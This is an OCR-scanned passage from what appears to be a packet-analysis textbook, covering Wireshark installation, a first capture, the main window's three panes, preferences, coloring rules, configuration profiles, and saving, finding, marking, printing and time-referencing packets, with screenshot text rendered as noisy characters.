7. Initiate the final installation with sudo make install. 


8. Run sudo /sbin/ldconfig to complete the installation. 


If you run into an error following these steps, you may have to install an additional 
package. 


Installing on OS X Systems 


To install Wireshark on OS X, complete these steps: 


Download the OS X package from the Wireshark web page. 


2. Run the installation utility and proceed through its steps. Once you’ve 
accepted the required end user license agreement, you'll have the 
option to select the installation location. 


oo 


Complete the installation wizard. 
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Once you’ve successfully installed Wireshark on your system, you can begin 
to familiarize yourself with it. Now you finally get to open your fully func- 
tioning packet sniffer and see . . . absolutely nothing! 

Okay, so Wireshark isn’t very interesting when you first open it. For 
things to really get exciting, you need to get some data. 


Your First Packet Capture 


To get packet data into Wireshark, you'll perform your first packet capture. 
You may be thinking, “How am I going to capture packets when nothing is 
wrong on the network?” 

First, there is always something wrong on the network. If you don’t 
believe me, then go ahead and send an email to all of your network users 
and let them know that everything is working perfectly. 

Secondly, there doesn’t need to be something wrong in order for you 
to perform packet analysis. In fact, most packet analysts spend more time 
analyzing problem-free traffic than traffic that they are troubleshooting. 
After all, you need a baseline for comparison to effectively troubleshoot net- 
work traffic. For example, if you ever hope to solve a problem with DHCP by 
analyzing its traffic, you must understand what the flow of working DHCP 
traffic looks like. 

More broadly, to find anomalies in daily network activity, you must 
know what normal daily network activity looks like. When your network is 
running smoothly, your observations become a baseline representing what 
traffic looks like in a normal state. 

So, let’s capture some packets! 


Open Wireshark. 


2. From the main drop-down menu, select Capture and then Options. 
You should see a dialog listing the various interfaces that can be used 
to capture packets, along with some basic information about each 
one (Figure 3-4). Take note of the Traffic heading, which shows a 
line graph indicating the amount of traffic currently passing through 
that interface. Peaks on a line tell you that you are actually capturing 
packets. If you aren't, the line will be flat. You can also expand each 
interface by clicking the arrow to the left of it to see the addressing 
information, such as the MAC address or IP address, tied to it. 

3. Click the interface you wish to use and click Start. Data should begin 
filling the window. 

4. Wait about a minute or so, and when you are ready to stop the cap- 
ture and view your data, click the Stop button from the Capture 
drop-down menu. 












































M Wireshark - Capture Interfaces ? x 
Input Output Options 
Interface Traffic Link-layer Header Promiscuous Snaplen (B) Buffer (MB) Capture Filter 
> Bluetooth Network Connection Ethernet enabled default 2 
Ethernet Ethernet enabled default 2 
Ethernet 2 ~ A Ethene enabled default 2 
Ethernet 3 A. Ethernet enabled default 2 
Local Area Connection* 2 Ethernet enabled default 2 
Local Area Connection* 4 Ethernet enabled default 2 
USBPcap1 USBPcap enabled default 2 
USBPcap2 USBPcap enabled default 2 
USBPcap enabled default 2 
v aha tan Lot Ethernet enabled default 2 
ddresses: fe80::f4ee:89c:afde: 789d, 172.16.16.172 
[v] Enable promiscuous mode on all interfaces 
Capture Filter for selected Interfaces: [Enter a capture filter bd 
Start Close Help 








Figure 3-4: Selecting an interface on which to perform your packet capture 


Once you have complete 


d these steps and finished the capture pro- 


cess, the Wireshark main window should be alive with data. As a matter of 
fact, you might be overwhelmed by the amount of data that appears, but it 
will all start to make sense quickly as we break down the main window of 
Wireshark one piece at a time. 


Wireshark’s Main Window 


You'll spend most of your time in the Wireshark main window. This is where 
all of the packets you capture are displayed and broken down into a more 
understandable format. Using the packet capture you just made, let’s take 

a look at Wireshark’s main window, shown in Figure 3-5. 





Ml Witp. goose prop 
File Edit View Go Capture Analyze Stat 


amj RES 





Telephony Wireless Tools 
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Help 









CIEE 





Destination 
74.125.95.104 
172.16.16.128 
74.125.95.104 
74.125.95.104 
172.16.16.128 


-= 172.16.16.128 


Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: IntelCor_5b:7d:4a (00:21: :4a), Dst: D-Lir 


E =} Expression... + TCPRST 






Length Info 
66 1606 + 80 [SYN] Seq=2082691767 Win=8192 Len=O MSS=1460 WS=4 SACK_PERM=1 
66 8@ + 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5720 Len=@ MSS=1405 SACK_PERM=1 WS=64 
54 1606 + 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=@ 
681 GET / HTTP/1.1 

60 80 + 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=@ 

1460 [TCP segment of a reassembled PDU] 

1460 [TCP segment of a reassembled PDU] 
1082692395 Ack=2775580186 Win=16872 Len=í 

sembled PDU] 

mbled PDU] 
1692395 Ack=2775581694 Win=16872 Len=@ 


Protocol 
TP 
TCP 
TcP 
HTTP 
TP 
TP 
TePe 
Tce 
TP 


Packet List 


nk_21:99:4c (00:05:5d:21:99:4c) 


Internet Protocol Version 4, Src: 172.16.16.128, Dst: 74.125.95.104 
~ Transmission Control Protocol, Src Port: 1606 (1606), Dst Port: 80 (80), Seq: 2082691767, Len: @ 


Source Port: 1606 
Destination Port: 80 

[Stream index: 0] 

[TCP Segment Len: 0] 

Sequence number: 2082691767 

Acknowledgment number: @ 

Header Length: 32 bytes 

Flags: @x0@2 (SYN) 

Window size value: 8192 

[Calculated window size: 8192] 

Checksum: @x@b3@ [validation disabled] 

Urgent pointer: @ 

@0 05 5d 21 99 4c 00 21 6a Sb 7d 4a 08 00 45 00 
@@ 34 40 f2 40 0@ 80 06 53 Sc ac 10 10 80 4a 7d 
Sf 68 06 46 00 5@ 7c 23 Sa b7 00 00 00 00 80 02 
20 0@ ab 30 00 00 02 04 05 b4 01 63 03 02 01 Əl 
04 02 


©? 





Packet Details | 


Packet Bytes 


Packets: 12» Displayed: 12 (100.0%) - Load time: 0:0.1 


Profle: Default 





Figure 3-5: The Wireshark main window uses 


a three-pane design. 


45 


Introduction to Wireshark 


46 


Chapter 3 


The three panes in the main window—Packet List, Packet Details, and 
Packet Bytes from top to bottom—depend on one another. To view the 
details of an individual packet in the Packet Details pane, you must first 
select it in the Packet List pane. When you select a portion of the packet 
in the Packet Details pane, the Packet Bytes pane displays the bytes that 
correspond with that portion. 


Notice that Figure 3-5 lists a few different protocols in the Packet List pane. There is 
no visual separation of protocols on different layers (other than via color coding); all 
packets are shown as they are received on the wire. 


Here’s what each pane contains: 


Packet List The top pane displays a table containing all packets in the 
current capture file. It has columns containing the packet number, the 
relative time the packet was captured, the source and destination of the 
packet, the packet’s protocol, and some general information found in 
the packet. 


When I refer to traffic, I’m referring to all packets displayed in the Packet List 
pane. When I refer to DNS traffic specifically, I mean the DNS protocol packets 
in the Packet List pane. 


Packet Details The middle pane contains a hierarchical display of 
information about a single packet and can be collapsed or expanded to 
show all of the information collected about the individual packet. 


Packet Bytes The lower pane—perhaps the most confusing—displays 
a packet in its raw, unprocessed form; that is, it shows what the packet 
looks like as it travels across the wire. This is raw information with noth- 
ing warm or fuzzy to make it easier to follow. We’ll discuss methods for 
interpreting this type of data in Appendix B. 


Wireshark Preferences 


Wireshark has several preferences that can be customized to meet your 
needs. To access Wireshark’s preferences, select Edit from the main drop- 
down menu and click Preferences. You’ll see the Preferences dialog, which 
contains several customizable options, as shown in Figure 3-6. 

Wireshark’s preferences are divided into six major sections plus an 
Advanced section: 


Appearance These preferences determine how Wireshark presents 
data. You can change most options here according to your personal 
preferences, including whether to save window positions, the layout of 
the three main panes, the placement of the scroll bar, the placement 
of the Packet List pane columns, the fonts used to display the captured 
data, and the background and foreground colors. 





M \ireshark - Preferences ? x 



























































VA 
gr Remember main window size and placement 
y - 
Columns Open files in 
Font and Colors @ The most recently used folder 
Capture O This folder: | C:\Users\Chris Sanders \Documents Browse... 
Filter Expressions 
Name Resolution Show up to 
Protocols 10 | filter entries 
Statistics i fl 
Advanced the 
|_| Confirm unsaved capture files 
Automatically scroll packet details 
Packet detail scroll percentage: |0 
Main toolbar style: | Icons only v 
Language: Use system setting Y 
< > 














Ej Cancel Help 





Figure 3-6: You can customize Wireshark using the Preferences dialog options. 


Capture These preferences allow you to specify options related to 
the way packets are captured, including your default capture interface, 
whether to use promiscuous mode by default, and whether to update 
the Packet List pane in real time. 


Filter Expressions Later we will discuss how Wireshark allows you to 
filter traffic based on specific criteria. This section of the Preferences 
dialog allows you to create and manage those filters. 


Name Resolution Through these preferences, you can activate fea- 
tures of Wireshark that allow it to resolve addresses into more recogniz- 
able names (including MAC, network, and transport name resolution) 
and specify the maximum number of concurrent name resolution 
requests. 


Protocols This section allows you to manipulate options related to 
the capture and display of the various packets Wireshark is capable of 
decoding. Not every protocol has configurable preferences, but some 
have several options that can be changed. These options are best left at 
their defaults unless you have a specific reason to change them. 


Statistics This section provides a few configurable options for 
Wireshark’s statistical features, which will be covered in more depth 
in Chapter 5. 


Advanced Settings that don’t fit neatly into any of the previous cat- 
egories can be found here. Editing these settings is something typically 
only done by Wireshark power users. 
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Packet Color Coding 


If you are anything like me, you enjoy shiny objects and pretty colors. If 

so, you probably got excited when you saw all those different colors in the 
Packet List pane, as in the example in Figure 3-7 (well, the figure is in black 
and white if you’re reading this book in print, but you get the idea). It may 
seem as if these colors are randomly assigned to each packet, but this isn’t 





the case. 
27 1.807280 172.16.16.128 172.16.16.255 NBNS 92 Name query NB ISATAP<00> 
28 2.557340 172.16.16.128 172.16.16.255 NBNS 92 Name query NB ISATAP<00> 
29 3.009402 172.16.16.128 Cy by aa DNS 86 Standard query Oxb86a PTR 128.16.16.172.in-addr. arpa 
30 3.050866 n ra R 172.16.16.128 DNS 163 Standard query response Oxb86a No such name 
31 3.180870 172.16.16.128 157.166. 226.25 TCP 66 2918-80 [SYN] Seq=0 win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1 
32 3.241650 157.166.226.25 172.16.16.128 TCP 66 80-2918 [SYN, ACK] Seq=0 Ack=1 win=5840 Len=0 MSS=1406 SACK_PI 





166. 226.25 54 2918-80 [ACK] 








HTTP at 





Figure 3-7: Wireshark’s color coding allows for quick protocol identification. 


Each packet is displayed in a certain color for a reason. The color 
can reflect the packet’s protocol and specific field values. For example, all 
UDP traffic is blue and all HTTP traffic is green by default. The color cod- 
ing allows you to quickly differentiate between various protocols so that 
you don’t need to read the protocol field in the Packet List pane for every 
packet. You'll find that this greatly speeds up the time it takes to browse 
through large capture files. 

Wireshark makes it easy to see which colors are assigned to each protocol 
through the Coloring Rules window, shown in Figure 3-8. To open this win- 
dow, select View from the main drop-down menu and click Coloring Rules. 
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Figure 3-8: The Coloring Rules window lets you view and modify the coloring of packets. 
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Coloring rules are based on Wireshark filters, which we will look at in 
Chapter 4. Using these filters, you can define your own coloring rules and 
modify existing ones. For example, to change the background color used 
for HTTP traffic from the default green to lavender, follow these steps: 


1. Open Wireshark and access the Coloring Rules window (View > 
Coloring Rules). 


2. Find the HTTP coloring rule in the coloring rules list and select it by 
clicking it once. 


3. You'll see the foreground and background colors at the bottom of the 
screen, as shown in Figure 3-9. 
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Figure 3-9: When editing a color filter, you can modify both the foreground and 
background colors. 


Click the Background button. 
5. Select the color you wish to use on the color wheel and click OK. 


Click OK once more to accept the changes and return to the main win- 
dow. The user interface should then reload itself to reflect the updated 
color scheme. 


As you work with Wireshark on your network, you'll begin to notice 
that you deal with certain protocols more than others. Here’s where color- 
coded packets can make your life a lot easier. For example, if you think that 
there is a rogue DHCP server on your network handing out IP leases, you 
could modify the coloring rule for the DHCP protocol so that it shows up in 
bright yellow (or some other easily identifiable color). This would allow you 
to pick out all DHCP traffic much more quickly, making your packet analy- 
sis more efficient. 
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Not too long ago, I was discussing Wireshark coloring rules during a presentation to 
a local group of students. One student was relieved to find out he could edit the color- 
ing rules because he was color-blind and had trouble distinguishing certain protocols 
based on the default coloring. The ability to modify the default coloring rules thus 
provides some degree of accessibility. 


Configuration Files 


It’s helpful to understand where Wireshark stores various configuration set- 
tings should you ever need to modify those files directly. You can find the 
location of the Wireshark configuration files by selecting Help from the main 
drop-down menu, choosing About Wireshark, and clicking the Folders tab. 
This window is shown in Figure 3-10. 





@ About Wireshark ? x 


Wireshark Authors Folders Plugins Keyboard Shortcuts License 

















Name Location Typical Files 

"File" dialogs C:\Users\Chris Sanders\Downloads\ capture files 

Temp C:\Users \CHRISS~1\AppData \Local Temp untitled capture files 

Personal configuration C:\Users\Chris Sander...ta\Roaming\Wireshark\  dfilters, preferences, ethers, ... 
Global configuration C:\Program Files\Wireshark dfilters, preferences, manuf, ... 
System C:\Program Files \Wireshark ethers, jpoxnets 

Program C:\Program Files\Wireshark program files 

Personal Plugins C:\Users\Chris Sanders...ming\Wireshark\plugins dissector plugins 

Global Plugins C:\Program Files\Wireshark\plugins\2.0.0 dissector plugins 

Extcap path C:\Program Files\Wireshark\extcap Extcap Plugins search path 











Figure 3-10: Locating Wireshark configuration files 


The two most important locations in terms of Wireshark customiza- 
tion are the personal and global configuration directories. The global con- 
figuration directory contains all of the default settings for Wireshark and 
is where the default profile stores its settings. The personal configuration 
folder contains customized settings and profiles unique to your account. 
Any new profiles you create will be stored in a subdirectory of the personal 
configuration folder using whatever name you provide. 

The difference between global and personal configuration directories 
is an important one, because any changes made to the global configuration 
files will affect every Wireshark user on a system. 


Configuration Profiles 


Chapter 3 


After learning about Wireshark’s preferences, you may find that sometimes 
you want to use one set of preferences but then quickly switch to another set 
to address a different scenario. Instead of making you manually reconfigure 
your preferences every time this occurs, Wireshark introduced configura- 
tion profiles, which allow users to create saved sets of preferences. 


A configuration profile stores the following: 


e = Preferences 

e Capture filters 

e Display filters 

e Coloring rules 

e Disabled protocols 
e Forced decodes 


e Recent settings, such as pane sizes, view menu settings, and column 
widths 


e Protocol-specific tables, such as SNMP users and custom HTTP headers 


To view the list of profiles, click Edit in the main drop-down menu and 
choose the Configuration Profiles option. Alternatively, you can right- 
click the profiles section at the bottom-right side of the screen and select 
the Manage Profiles option. When you arrive at the Configuration Profiles 
window, you'll see that Wireshark comes with a few standard profiles, includ- 
ing the Default, Bluetooth, and Classic profiles shown in Figure 3-11. The 
Latency Investigation profile is a custom profile I’ve added and is in plaintext, 
while the global and default profiles are in italics. 

















M Wireshark - Configuration Profiles ? x 
Default 
Latency Investigation 
Bluetooth 
Classic 
+| ey | C: Users |Chris Sanders AppData Roaming |Wireshark\profiles 








Figure 3-11: Viewing configuration profiles 


The Configuration Profiles window allows you to create, copy, delete, 
and apply configuration profiles. The process of creating a new profile is 
very simple. 

Configure Wireshark with the settings you'd like to save to a profile. 


2. Proceed to the Configuration Profiles window by clicking Edit in the 
main drop-down menu. Select the Configuration Profiles option. 


3. Click the plus (+) button and give the profile a descriptive name. 
4. Click OK. 
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When you'd like to switch profiles, you can go to the Configuration 
Profile window, click the profile name, and click OK. You can do this more 
quickly by clicking the Profile heading at the bottom right of the Wireshark 
window and selecting the profile you'd like to use, as shown in Figure 3-12. 





@@ @5 5d 21 99 4c @@ 21 6a 5b 7d 4a 08 00 45 09 ..]!.L.! j[}J.-E. 
@@ 34 6b 04 40 @@ 80 G6 4e 82 ac 10 10 80 c1 88 =. 4k.@... Na... 
c3 24 @c 82 00 50 a3 31 86 ef 00 00 00 0 80 G2. .$...P.1........ 
20 @@ d6 e5 00 00 02 04 O5 b4 01 03 03 201 G1... eee eee 
04 02 





O Z  download-slow Packets: 10728 - Displayed: 10728 (100.0%) - Load time: 0:0.309 || Profi YD) default 


Latency Investigation 





Wireless 


Bluetooth 


Classic 


Figure 3-12: Quickly switch between profiles through the Profile heading. 


One of the most useful aspects of configuration profiles is that each 
profile is stored in its own directory with a series of configuration files. 
This means that you can back up your profiles and share them with others. 
The folders tab shown in Figure 3-10 provides paths to personal and global 
configuration file directories. To share a profile with a user on another 
computer, just copy the folder matching the name of the profile you want 
to share and paste it into the same directory for the appropriate user on 
another computer. 

While reading along in this book, you may find the need to create a 
few high-level profiles for general troubleshooting, finding the source of 
network latency, and investigating security issues. Don’t be afraid to use 
profiles liberally. They are real time-savers when you want to quickly switch 
a few preference options on or off. ’'ve known people who have used dozens 
of profiles to address different scenarios with great success. 

Now that you have Wireshark up and running, you’re ready to do 
some packet analysis. Chapter 4 describes how you can work with the 
packets you've captured. 





WORKING WITH 
CAPTURED PACKETS 


Now that you've been introduced to 
Wireshark, youre ready to start captur- 
ing and analyzing packets. In this chapter, 
you'll learn how to work with capture files, 
packets, and time-display formats. We’ll also cover 


more advanced options for capturing packets and 
dive into the world of filters. 





Working with Capture Files 


You'll find that a good portion of your packet analysis will happen after 
your capture. Usually, you'll perform several captures at various times, 
save them, and analyze them all at once. Therefore, Wireshark allows you 


to save your capture files to be analyzed later. You can also merge multiple 
capture files. 
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Saving and Exporting Capture Files 


To save a packet capture, select File >» Save As. You should see the Save file 
as dialog, as shown in Figure 4-1. You’ll be asked for a location to save your 
packet capture and for the file format you wish to use. If you don’t specify a 
file format, Wireshark will use the default .pcapng file format. 





























M Wireshark: Save file as x 
Save in: ppa3ecaptures ~| @ @ em 
op Name . Date modified Type ^ 
: BS 80211beacon 6/17/2017 8:33 AM Wiresh 
Quick access FS 80211-WEPauth 6/17/2017 8:33 AM  Wiresh 
Fa P 80211-WEPauthfail 6/17/2017 8:33 AM Wiresh 
— A 80211-WPAauth 6/17/2017 8:33 AM Wiresh 
Desktop fy 80211-WPAauthfail 6/17/2017 8:33 AM — Wiresh 
[À activeosfingerprinting 6/17/2017 8:33 AM Wiresh 
1 ES arp_gratuitous 6/17/2017 8:33 AM Wiresh 
Libraries [À arp_resolution 6/17/2017 8:33 AM Wiresh 
m arppoison 6/17/2017 8:33 AM Wiresh 
a P aurora 6/17/2017 8:33AM Wiresh 
This PC P dhcp_inlease_renewal 6/17/2017 8:33 AM Wiresh y 
3 < > 
fe = k File name: packets v 
etworl 
Save as type: Wireshark/tcpdump/... -pcap ("pcap:*pcap.g: Y Cancel 
Hep 
CI Compress with gzip 








Figure 4-1: The Save file as dialog allows you to save your packet 
captures. 


In many cases, you may only want to save a subset of the packets in your 
capture. To do so, select File > Export Specified Packets. The dialog that 
appears is shown in Figure 4-2. This is a great way to thin bloated packet- 
capture files. You can choose to save only packets in a specific number 
range, marked packets, or packets visible as the result of a display filter 
(marked packets and filters are discussed later in this chapter). 

You can export your Wireshark capture data into several formats for 
viewing in other media or for importing into other packet analysis tools. 
Formats include plaintext, PostScript, comma-separated values (CSV), 
and XML. To export your packet capture in one of these formats, choose 
File >» Export Packet Dissections and then select the format for the exported 
file. You'll see a Save As dialog containing options related to the format 
you've chosen. 





























@ Wireshark: Export Specified Packets x 
Save in: ppa3ecaptures ~| @ @ em 
a Name i Date modified Type ^ 
' PA 80211beacon 6/17/2017 8:33 AM Wiresh 
Quick access h 80211-WEPauth 6/17/2017 8:33AM  Wiresh 
PA 80211-WeEPauthfail 6/17/2017 8:33 AM Wiresh 
P PA 80211-WPAauth 6/17/2017 &:33AM Wiresh 
Desktop PA 80211-WPAauthfail 6/17/2017 &33AM Wiresh 
[8 activeosfingerprinting 6/17/2017 8:33 AM Wiresh 
a | Į arp_gratuitous 6/17/2017 8:33 AM Wiresh 
Libraries [A arp_resolution 6/17/2017 8:33 AM Wiresh 
[8 arppoison 6/17/2017 8:33 AM Wiresh 
a [8 aurora 6/17/2017 8:33 AM Wiresh 
This PC P dhcp_inlease_renewal 6/17/2017 8:33 AM Wiresh y 
i <] > 
$ ; File name: packets| v 
r Save as type: Wireshark Acpdump/...-pcap (pcap;*pcap.g: Y | Cancel | 
| Hep | 
Packet Range mi 
O Captured @ Displayed 
@ Al packets 12 12 
O Selected packet 1 1 
Marked packets 0 0 
First to last marked 0 0 
O Range: Se 0 0 
Remove Ignored packets 0 0 








Figure 4-2: The Export Specified Packets dialog allows you to have more 
granular control over the packets you choose to save. 


Merging Capture Files 


Certain types of analysis require the ability to merge multiple capture files. 
This is a common practice when comparing two data streams or combining 
streams of the same traffic that were captured separately. 

To merge capture files, open one of the files you want to merge and 
choose File >» Merge to bring up the Merge with capture file dialog, shown 
in Figure 4-3. Select the new file you wish to merge into the already open 
file and then select the method to use for merging the files. You can pre- 
pend the selected file to the currently open one, append it, or merge the 
files chronologically based on their timestamps. 
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@ Wireshark: Merge with capture file x 
Look in: ppa3ecaptures -| © 2 ES fv 
a Name i Date modified Type A 
$ [À dns_axfr 6/17/2017 &33AM_ Wireshark capture... 
Quick access P dns_query_response 6/17/2017 8:33 AM Wireshark capture... 
Fa PA dns_recursivequery_client 6/17/2017 8&:33AM Wireshark capture... 
P dns_recursivequery_server 6/17/2017 8&:33AM Wireshark capture... 
Desktop [8 download-fast 6/17/2017 8:34AM Wireshark capture... 
[A download-slow 6/17/2017 8:34 AM Wireshark capture... 
ri [A facebook _logi 6/17/2017 8:34AM Wireshark 
Libraries lz 6/17/2017 8:34AM Wireshark capture zj 
$id http_espn 6/17/2017 8:34 AM Wireshark capture 
a p http_google 6/17/2017 8:34 AM Wireshark capture... 
This PC PA http_post 6/17/2017 8:34 AM Wireshark capture... y 
r < > 
3 File name: facebook_message v 
Network 
Files of type: All Files v | Cancel | 
| Hep | 
Read filter: Format: Wireshark Acpdump/... - pcap 
Size: 2990 bytes 
O Prepend packets to existing file Packets: 5 
@ Merge packets chronologically First Packet: 2010-04-05 15:23:25 
O Append packets to existing file Hapsed: 00:00:00 








Figure 4-3: The Merge with capture file dialog allows you to merge two capture 
files. 


Working with Packets 


You will eventually encounter a situation involving a very large number of 
packets. As the number of packets grows into the thousands and even mil- 
lions, you will need to navigate through packets more efficiently. For this 
purpose, Wireshark allows you to find and mark packets that match certain 
criteria. You can also print packets for easy reference. 


Finding Packets 


To find packets that match particular criteria, open the Find Packet bar, 
shown circled in Figure 4-4, by pressing CTRL-F. This bar should appear 
between the Filter bar and the Packet List pane. 





Packet list Narrow & Wide 
No, Time Source Destination Protocol Length Info a 
r 16... 172.16.16.128 74.125.95.104 TCP 66 1606 > 8@ [SYN] Seq=2082691767 Win=8192 Len=@ MSS=146@ WS=4 SACK.. 
2 @... 74.125.95.104 172.16.16.128 TEP 66 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5720 Lenz... 
3 @. 172.16.16.128 74.125.95.104 TCP 54 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=0 
4 @... 172.16.16.128 74.125.95.104 HTTP 681 GET / HTTP/1.1 





Figure 4-4: Finding packets in Wireshark based on specified criteria—in this case, packets matching the dis- 
play filter expression tcp 
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This pane offers three options for finding packets: 


e The Display filter option allows you to enter an expression-based filter 
that will find only those packets that satisfy that expression. This option 
is used in Figure 4-4. 


e The Hex value option searches for packets with a hexadecimal value 
you specify. 

e The String option searches for packets with a text string you specify. 
You can specify the pane the search is performed in or make the search 
string case sensitive. 


Table 4-1 shows examples of these search types. 


Table 4-1: Search Types for Finding Packets 


Search type Examples 


Display filter not ip 
ip.addr==192.168.0.1 
arp 


Hex value ooff 
Ffff 
OOABB1f0 


String Workstation1 
UserB 
domain 


Once you’ve decided which search type you will use, enter your search 
criteria in the text box and click Find to find the first packet that meets 
your criterion. To find the next matching packet, click Find again or press 
CTRL-N; find the previous matching packet by pressing CTRL-B. 


Marking Packets 


After you have found packets that match your criterion, you can mark those 
of particular interest. For example, marking packets will let you save only 
these packets. Also, you can find your marked packets quickly by their black 
background and white text, as shown in Figure 4-5. 





. 836373 69. 63.190. 22 172.16.0.122 TCP 1434 [TCP segment of a reassembled PDU] 
36382 172.16.0.122 66 58637-80 [ACK] Seq=628 Ack=3878 win=491 Len=0 TSval=301989922 





Figure 4-5: A marked packet is highlighted on your screen. In this example, the second packet is marked and 
appears darker. 


To mark a packet, either right-click it in the Packet List pane and 
choose Mark Packet from the pop-up or click a packet in the Packet List 
pane and press CTRL-M. To unmark a packet, toggle this setting off by 
pressing CTRL-M again. You can mark as many packets as you wish in a 
capture. To jump forward and backward between marked packets, press 
SHIFT-CTRL-N and SHIFT-CTRL-B, respectively. 
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Printing Packets 


Although most analysis will take place on the computer screen, you may 
need to print captured data. I occasionally print out packets and tape them 
to my desk so I can quickly reference their contents while doing other analy- 
sis. Being able to print packets to a PDF file is also very convenient, especially 
when preparing reports. 

To print captured packets, open the Print dialog by choosing File > Print 
from the main menu, as shown in Figure 4-6. 





M Wireshark - Print ? x 


Packet Format 
Summary line 
Details: 

© All collapsed 

@ As displayed 

O All expanded 
O Bytes 


[I Print each packet on a new page 


+ and - zoom, 0 resets 



































Packet Range 
© Captured @ Displayed 

@ All packets 12 12 
O Selected packets only 1 1 
Marked packets only 0 0 
First to last marked 0 0 
© Range: 0 0 
Remove ignored packets 0 0 

Page Setup... Cancel || Help 








Figure 4-6: The Print dialog allows you to print the packets you 
specify. 


As with the Export Specified Packets dialog, you can print a specific 
packet range, marked packets only, or packets displayed as the result of 
a filter. You can also select the level of detail you wish to print for each 
packet. Once you have selected the options, click Print. 


Setting Time Display Formats and References 


Chapter 4 


Time is of the essence—especially in packet analysis. Everything that hap- 
pens on a network is time sensitive, and you will need to examine trends 
and network latency in capture files frequently. Wireshark supplies several 
configurable options related to time. In this section, we'll look at time dis- 
play formats and references. 


Time Display Formats 


Each packet that Wireshark captures is given a timestamp, which is applied 
to the packet by the operating system. Wireshark can show the absolute 
timestamp, which indicates the exact moment when the packet was cap- 
tured, as well as the time in relation to the last captured packet and the 
beginning and end of the capture. 

Options related to time display are found under the View heading on 
the main menu. The Time Display Format section, shown in Figure 4-7, lets 
you configure the presentation format as well as the precision of the time 
display. 





M http_google.pcap - o x 


File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 












































A E Z | Main Toolbar SKEE: 
(Alapoyad M Filter Toolbar 
Packet list Wireless Toolbar 
No. Y Status Bar Protocol Length Info les 
lig 3 5.104 TCP 66 1606 > 80 [SYN] Seq=2082691767 Win=8192 Len=0 MSS=1460 WS=4 SACK.. 
2 Packet List 6.128 TCP 66 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5720 Len=.. 
3 Packet Details 5.104 TCP 54 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=0 
ALZ Packet Bytes 5.104 HTTP 681 GET / HTTP/1.1 
5 6.128 TCP 60 80 > 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=0 
6 Time Display Format b Date and Time of Day (1970-01-01 01:02:03.123456) Meta+Alt+1 |d PDU] 
7 ; 3 d PDU] 
Name Resolution » 02: 
a Year, Day of Year, and Time of Day (1970/001 01:02:03.123456) 95 Ack=2775580186 Win=16872 Len=0 
a EE $ Time of Day (01:02:03.123456) Meta+Alt+2 d pou] 
10 Seconds Since 1970-01-01 Meta+Alt+3 d PDU] 
11 Expand Subtrees Shift+Right IEE seconds Since Beginning of Capture Meta+Alt+4 (95 Ack=2775581694 Win=16872 Len=@ s 
ee Expand All Ctrl+Right 3 
[> Frame © Seconds Since Previous Captured Packet Meta+Alt+5 
G aaa Sieds Seconds Since Previous Displayed Packet Meta+Alt+6 
> Interne] Colorize Packet List UTC Date and Time of Day (1970-01-01 01:02:03.123456) Meta+Alt+7 
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TES Coloring Rules... UTC Year, Day of Year, and Time of Day (1970/001 01:02:03.123456) 
nines Concerti: » UTC Time of Day (01:02:03.123456) Meta+Alt+8 
Resize Columns Ctrl+Shift+R | © Automatic (from capture file) 
Seconds 
Internals » 
Tenths of a second 
Show Packet in New Window Hundredths of a second 
© Reload Ctrl+R Milliseconds 
Microseconds 
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@@ 21 6a Sb 7d 4a 00 05 Sd 21 99 4c 08 00 Display Seconds With Hours and Minutes 
00 28 34 d8 00 @@ 33 06 ec 82 4a 7d 5f 68 wee — spero eroje 
10 80 00 50 06 46 a5 6f f3 le 7c 23 5d 2b 50 10 -P.F.o ..[#]+P. 
00 6d dð 7e 00 00 02 04 05 7e 01 1 Meee aman 
oz || Packets: 12 Displayed: 12 (100.0%) - Load time: 0:0.0 || Profile: Default 








Figure 4-7: Several time display formats are available. 


The presentation format options let you choose various settings for 
time display. These include date and time of day, UTC date and time of 
day, seconds since epoch, seconds since beginning of capture (the default 
setting), seconds since previous captured packet, and more. 

The precision options allow you to set the time display precision to 
an automatic setting, which takes the format from the capture file, or to a 
manual setting, such as seconds, milliseconds, microseconds, and so on. We 
will be changing these options later in the book, so you should familiarize 
yourself with them now. 
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When comparing packet data from multiple devices, be sure that the devices are syn- 
chronized with the same time source, especially if you are performing forensic analysis 
or troubleshooting. You can use the Network Time Protocol (NTP) to ensure network 
devices are synced. When examining packets from devices spanning more than one 
time zone, consider analyzing packets in UTC instead of local time to avoid confu- 
sion when reporting your findings. 


Packet Time Referencing 


Packet time referencing allows you to configure a certain packet so that all 
subsequent time calculations are done in relation to that packet. This feature 
is particularly handy when you are examining a series of sequential events 
that are triggered at some point other than the start of the capture file. 

To set a time reference to a packet, right-click the reference packet in 
the Packet List pane and choose Set/Unset Time Reference. To toggle 
this reference off, repeat the same action. You can also toggle a packet as 
a time reference on and off by selecting the packet you wish to reference 
in the Packet List pane and pressing CTRL-T. 

When you enable a time reference on a packet, the Time column in the 
Packet List pane will display *REF*, as shown in Figure 4-8. 





No. 


Time 
1 0.000000 
2 0.030107 


5 0.048778 
6 0.070954 
7 0.071217 
8 @.071247 


Source 








Destination Protocol Length Info a 
-16.128 74.125.95.104 TCP 66 1606 + 8@ [SYN] Seq=2082691767 Win=8192 Len=@ MSS=146@ WS=4 SACK _PERM=1 
-95.104 172.16.16.128 TCP 66 80 + 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=572@ Len=@ MSS=14@6... 
.16.128 74.125.95.104 TCP 54 1606 + 8@ [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=0 
-16. A .95. 681 GET / HTTP/1.1 
-95.104 172.16.16.128 TCP 60 8@ > 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=0 
-95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 
-95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 
-16.128 74.125.95.104 TCP 54 1606 > 30 [ACK] Seq=2082692395 Ack=2775580186 Win=16872 Len=0 





Figure 4-8: Packet 4 with the packet time reference toggle enabled 
